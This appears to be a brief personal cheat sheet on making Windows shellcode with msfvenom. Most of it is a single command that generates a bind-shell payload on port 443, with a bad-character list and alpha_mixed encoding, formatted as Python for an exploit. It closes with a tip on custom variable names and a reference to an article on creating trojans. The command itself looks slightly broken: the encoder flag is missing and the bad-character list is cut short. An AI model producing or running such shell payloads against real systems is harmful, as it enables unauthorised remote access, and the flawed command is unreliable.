Making shell code

Way to add shell code

msfvenom -p windows/shell_bind_tcp LHOST=$IP_KALI LPORT=443  EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

If you want to specify any other variable name (Custom variable name) then you can use -v flag.

-v variable_name

There are many ways to do this.

Help:

Offensive Msfvenom: From Generating Shellcode to Creating TrojansMedium